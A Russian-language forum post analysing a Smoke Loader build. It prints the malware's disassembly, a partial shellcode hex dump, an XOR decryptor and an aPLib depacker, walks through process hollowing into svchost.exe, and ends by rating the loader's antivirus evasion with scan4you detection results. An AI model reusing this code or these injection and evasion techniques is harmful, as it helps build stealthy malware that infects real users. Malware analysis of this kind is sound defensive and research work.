Автор: Chococream Источник P.S: Ответственности за реверс не несу, всё в ознакомительных целях. Добрый день! Полазив по трекерам, наткнулся на свежеиспечённый билд Smoke Loader. До этого на конференции кто-то выложил его, сейчас же бот немного видоизменился Я не буду описывать то, как я снимал криптор, приступим к основной части. Размер файла после распаковки в памяти: 12 288 байт. FalseEntryPoint(): Передача управления через SendMessageCallbackA(hWnd,WM_SETVISIBLE,0,0,TrueEntryPoint,0); Скорее всего аверы обламываются на этом Код: push ebx sub dword ptr [0*04004h],1 jnb loc_00*01589 call GetDesktopWindow mov ebx,eax push smoke_00*04010 push ebx call GetWindowRect test eax,eax je loc_00*01582 push 2 push 0 call GetDlgItem push eax call SetFocus push 0 push 0 push 0 push 0 mov eax,dword ptr [0*0401ch] push eax mov eax,dword ptr [0*04018h] push eax mov eax,dword ptr [0*04014h] push eax mov eax,dword ptr [0*04010h] push eax push 0 push 0 push smoke_00*0158c ; "Message" push 1 call CreateWindowExA mov ebx,eax test ebx,ebx jnz loc_00*0156F push 1 push ebx call ShowWindow jmp loc_00*01582 loc_00*0156f: push 0 push smoke_00*012a8 push 0 push 0 push 9 push ebx call SendMessageCallbackA loc_00*01582: push 0 call ExitProcess loc_00*01589: pop ebx retn TrueEntryPoint(): Получаем адрес kernel библиотеки. Код: pushad xor ecx,ecx xor eax,eax mov esi,dword ptr fs:[030h] ; PEB mov esi,dword ptr [esi+0ch] ; PEB->Ldr mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList @@: inc al mov ebp,dword ptr [esi+8] mov edi,dword ptr [esi+020h] mov esi,dword ptr [esi] cmp al,1 jnz @next mov dword ptr [kernel],ebp @next: cmp byte ptr [edi+018h],cl jnz @b mov dword ptr [kernel],ebp popad Далее получаются адреса апи, при этом используются хэши, вместо имён функций(парсится таблица экспорта у kernel библиотеки). GetModuleFileNameA,CloseHandle,CreateProcessA,VirtualAlloc,lstrlenA,Sleep,ZwCrea teSection, ZwMapViewOfSection,ZwUnmapViewOfSection,ZwResumeThread,ZwGetContextThread,ZwSetC ontextThread. Спим 2 секунды. Создаём ZwCreateSection виртуальную секцию, далее проецируем её в а.п. текущего процесса (ZwMapViewOfSection). Если всё прошло удачно, то выделяется VirtualAlloc(0,1000h,MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE) кусок памяти размером в 1000 байт и в него байт за байтом, размещается расшифрованный шеллкод. Процедура расшифровки: Код: decrypt proc from, to, size pusha mov esi, from lods byte ptr [esi] ; Загружаем в al первый байт в шеллкоде. mov dl,al ; Это и есть наш ключик. mov edi,to mov ecx,size loc_00*01353: lodsb xor al,dl stosb loopd loc_00*01353 popa decrypt endp Дамп секции: Размер шеллкода: 6198 байт. Код: 00393FFA 00 00 00 00 00 00 E8 00 00 00 00 5B 83 EB 05 ......e....[?e. 003A0009 31 C9 64 8B 71 30 8B 76 0C 8B 76 1C 8B 6E 08 1Ed‹q0‹v.‹v.‹n. 003A0018 8B 7E 20 8B 36 38 4F 18 75 F3 89 AB 00 05 00 ‹~ ‹68O.uo‰«... 003A0027 00 8D B3 04 05 00 00 E8 52 01 00 00 8D B3 20 .??....eR...?? 003A0036 12 00 00 AC 88 C2 89 F7 8B 8B 10 12 00 00 49 ...¬?A‰?‹‹....I 003A0045 AC 32 C2 AA E2 FA 6A 40 68 00 10 00 00 68 00 ¬2A?auj@h....h. 003A0054 40 00 00 6A 00 FF 93 04 05 00 00 89 83 00 09 @..j.y“....‰?.. 003A0063 00 00 89 C5 89 C1 8D 83 21 12 00 00 E8 57 01 ..‰A‰A??!...eW. 003A0072 00 00 89 EE 81 C6 00 01 00 00 6A 40 68 00 10 ..‰i??....j@h.. 003A0081 00 00 8B 46 50 50 6A 00 FF 93 04 05 00 00 89 ..‹FPPj.y“....‰ 003A0090 83 10 09 00 00 60 8B 4E 54 81 EE 00 01 00 00 ?....`‹NT?i.... 003A009F 89 C7 FC F3 A4 61 89 80 34 01 00 00 60 0F B6 ‰Cuo¤a‰?4...`.¶ 003A00AE 4E 06 83 F9 00 0F 8E B7 00 00 00 81 C6 F8 00 N.?u..Z·...??o. 003A00BD 00 00 51 8B 4E 10 85 C9 7E 0F 56 8B 7E 0C 01 ..Q‹N.…E~.V‹~.. 003A00CC C7 8B 76 14 01 EE FC F3 A4 5E 83 C6 28 59 E2 C‹v..iuo¤^??(Ya 003A00DB E3 61 60 89 C6 89 EB 8B 43 3C 8D 44 18 18 8B aa`‰?‰e‹C<?D..‹ 003A00EA 50 1C 89 F3 8B 43 3C 8D 44 18 18 29 DA 8D B0 P.‰o‹C<?D..)U?° 003A00F9 88 00 00 00 8B 36 85 F6 74 2E 01 DE 83 3E 00 ?...‹6…ot..??>. 003A0108 74 27 8B 3E 8B 4E 04 83 E9 08 D1 E9 83 C6 08 t'‹>‹N.?e.Ne??. 003A0117 31 C0 66 AD A9 00 30 00 00 74 0B 25 FF 0F 00 1Af©.0..t.%y.. 003A0126 00 01 D8 01 F8 29 10 E2 EA EB D4 61 89 C5 8D ..O.o).aeeOa‰A? 003A0135 BB 00 12 00 00 03 80 78 01 00 00 8B 48 14 0B ».....?x...‹H.. 003A0144 48 18 74 28 8B 70 20 01 EE 8B 50 1C 01 EA 8B H.t(‹p .i‹P..e‹ 003A0153 12 01 EA 8B 0F 8B 36 01 EE 3B 0E 75 10 8D BB ..e‹.‹6.i;.u.?» 003A0162 14 12 00 00 57 8D BB 00 10 00 00 57 FF D2 6A ....W?»....WyOj 003A0171 64 FF 93 08 05 00 00 EB F6 C3 EB 08 E8 09 00 dy“....eoAe.e.. 003A0180 00 00 89 46 FC AD 85 C0 75 F3 C3 56 89 C2 8B ..‰Fu…AuoAV‰A‹ 003A018F 45 3C 8B 7C 28 78 01 EF 8B 77 20 01 EE 56 AD E<‹|(x.i‹w .iV* 003A019E 01 E8 31 C9 C1 C1 08 32 08 40 80 38 00 75 F5 .e1EAA.2.@?8.uo 003A01AD 31 D1 75 EC 58 29 C6 D1 EE 03 77 24 0F B7 44 1NuiX)?Ni.w$.·D 003A01BC 2E FE C1 E0 02 03 47 1C 8B 04 28 01 E8 5E C3 .?Aa..G.‹.(.e^A 003A01CB 60 89 C6 89 CF FC B2 80 31 DB A4 B3 02 E8 6D `‰?‰Iu??1U¤?.em 003A01DA 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 ...so1Eed...s.1 003A01E9 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F Ae[...s#?.A°.eO 003A01F8 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 ....As?u??eOeM. 003A0207 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 ..)Uu.eB...e(¬N 003A0216 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C etM.Ee.‘HAa.¬e, 003A0225 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 ...=.}..s.?u.s. 003A0234 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE ?ow.AA•‰e?.V‰? 003A0243 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 )?o¤^eZ.Ou.S.F. 003A0252 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF OA1EAeiyyy.Eecy 003A0261 FF FF 72 F2 C3 61 C3 00 00 00 00 00 00 00 00 yyroAaA........ Работу шеллкода я опишу чуть позже, а теперь в секцию помещают: Результат работы функции GetModuleFileName, видимо для удаления исходного файла. Имя экспортируемой функции, в нашем случае "Work". Пакованный(при помощи библиотеки ApLib) файл и dword, показывающий его размер. 2 хэша для апи: VirtualAlloc,Sleep. Происходит вызов ZwUnmapViewOfSection и данные оказ-ся в виртуальной секции. Теперь создаётся процесс CreateProcessA(0,"svchost.exe",0,0,0,CREATE_SUSPENDED,0,0,si,pi) в приостановленном состоянии, в процесс svchost.exe проецируется наша секция с шк, затем получается контекст процесса ZwGetContextThread, и меняется eip ZwSetContextThread на точку входа нашего шк, далее поток из спящего состояния при помощи ZwResumeThread снова возобновляется, а исходный процесс завершается ExitProcess(0). Мы оказались в созданном нами процессе svchost.exe. Получаем адрес kernel библиотеки: Код: xor ecx,ecx mov esi,dword ptr fs:[030h] ; PEB mov esi,dword ptr [esi+0ch] ; PEB->Ldr mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList @@: mov ebp,dword ptr [esi+8h] mov edi,dword ptr [esi+20h] mov esi,dword ptr [esi] cmp byte ptr [edi+18h],cl jnz @b mov dword ptr [kernel],ebp Находим адреса 2-х апи: VirtualAlloc,Sleep. Расшифроввываем образ нашего файла: Код: pushad lea esi, offset shellcode mov ecx, size lods byte ptr [esi] ; Загружаем в al первый байт в шеллкоде. mov dl,al ; Это и есть наш ключик. mov edi,dword ptr [ebp-4] mov ecx,dword ptr [ebp-8] loc_00*01353: lodsb xor al,dl stosb loopd loc_00*01353 popad Выделяем память для файла VirtualAlloc(0,4000h,MEM_COMMIT,PAGE_EXECUTE_READWRITE). Распаковвываем файл: Код: _aP_depack: ; -> ESI - pointer to source ; -> EDI - pointer to destination pusha cld mov dl,80h xor ebx,ebx @_1_literal: movsb mov bl,2 @_1_nexttag: call @_1_getbit jnc @_1_literal xor ecx,ecx call @_1_getbit jnc @_1_codepair xor eax,eax call @_1_getbit jnc @_1_shortmatch mov bl,2 inc ecx mov al,10h @_1_getmorebits: call @_1_getbit adc al,al jnc @_1_getmorebits jnz @_1_domatch stosb jmp short @_1_nexttag @_1_codepair: call @_1_getgamma_no_ecx sub ecx,ebx jnz @_1_normalcodepair call @_1_getgamma jmp short @_1_domatch_lastpos @_1_shortmatch: lodsb shr eax,1 jz @_1_donedepacking adc ecx,ecx jmp short @_1_domatch_with_2inc @_1_normalcodepair: xchg eax,ecx dec eax shl eax,8 lodsb call @_1_getgamma cmp eax,32000 jae @_1_domatch_with_2inc cmp ah,5 jae @_1_domatch_with_inc cmp eax,7Fh ja @_1_domatch_new_lastpos @_1_domatch_with_2inc: inc ecx @_1_domatch_with_inc: inc ecx @_1_domatch_new_lastpos: xchg eax,ebp @_1_domatch_lastpos: mov eax,ebp mov bl,1 @_1_domatch: push esi mov esi,edi sub esi,eax rep movsb pop esi jmp short @_1_nexttag @_1_getbit: add dl,dl jnz @_1_stillbitsleft mov dl,[esi] inc esi adc dl,dl @_1_stillbitsleft: ret @_1_getgamma: xor ecx,ecx @_1_getgamma_no_ecx: inc ecx @_1_getgammaloop: call @_1_getbit adc ecx,ecx call @_1_getbit jc @_1_getgammaloop ret @_1_donedepacking: popa ret Выделяем память согласно ImageSize из PE заголовка. Дальнейшие действия я не описываю, т.к они относятся к теме PE загрузчика, там всё просто: расставляются секции, таблица импорта и управление передаётся на заранее записанную функцию "Work". Кстати, если посмотреть на файл в памяти, то судя по PE заголовку - это dll`ка. Размер dll`ки: 16384 байт. В точке входа экспортируемой функции всё также просто: Получаем адрес kernel библиотеки. Код: pushad xor ecx,ecx xor eax,eax mov esi,dword ptr fs:[030h] ; PEB mov esi,dword ptr [esi+0ch] ; PEB->Ldr mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList @@: inc al mov ebp,dword ptr [esi+8] mov edi,dword ptr [esi+020h] mov esi,dword ptr [esi] cmp al,1 jnz @next mov dword ptr [kernel],ebp @next: cmp byte ptr [edi+018h],cl jnz @b mov dword ptr [kernel],ebp popad Далее получаются адреса апи, при этом используются хэши, вместо имён функций(парсится таблица экспорта у kernel библиотеки). kernel32.dll: IsWow64Process,GetProcAddress,GetModuleHandleA,lstrlenA,VirtualAlloc,VirtualFree ,ExitProcess,LoadLibraryA,FreeLibrary,lstrcatA,lstrcmpA,GetComputerNameA,GetModu leFileNameA, GetTempPathA,GetTempFileNameA,CopyFileA,CloseHandle,CreateProcessA,GetFileSize,C reateFileA, ReadFile,WriteFile,DeleteFileA,GetVersion,SetFileAttributesA,GetSystemDirectoryA ,SetFileTime, GetFileAttributesExA,CreateMutexA,Sleep,CreateThread,GetProcessHeap. advapi32.dll: RegCreateKeyA,RegSetValueExA,RegOpenKeyA,RegCloseKey,RegEnumKeyA,RegEnumValueA, MD5Init,MD5Final,MD5Update. ws2_32.dll: WSAStartup,gethostbyname,socket,ntohs,connect,send,recv,closesocket. user32.dll: wsprintfA,RtlGetLastWin32Error,RtlAllocateHeap,RtlReAllocateHeap,RtlFreeHeap. shell32.dll: SHGetFolderPathA. Main(): Вначале инициализируем сокет, получаем имя компьютера GetComputerNameA, затем высчитываем md5 хэш(MD5Init,MD5Update,MD5Final) имени вашего компьютера для дальнейшей отправки на сервер. Я полностью проанализировал работу лоадера и честно говоря ничего нового не увидел. Судя по вышепривидённым апишкам можно говорить о том, как он устроен изнутри, не прибегая к дизассемблированию всего файла. My opinion: Автор лоадера создал своеобразную матрёшку: 1)Криптором файл размещается в памяти. 2)Создаётся процесс svchost.exe и туда маппится шеллкод. 3)Из шеллкода распаковвывается дллка и маппится в svchost.exe. Минусы: 1)Нет обфускации, т.о. в памяти один и тот же кодес, что упрощает работу аверов. Я проверил сэмплы на scan4you.net, рез-ты таковы: DLL: Avira, Essentials. EXE: Avira, BitDefender, F-Secure Internet Security, G-Data, Kaspersky, Essentials, NOD32, BullGuard. 2)Нет антидебага. 3)Код не оптимизирован вообще. 4)Технологии давно уже паблик, но думаю лоадер подойдёт для бюджетного варианта.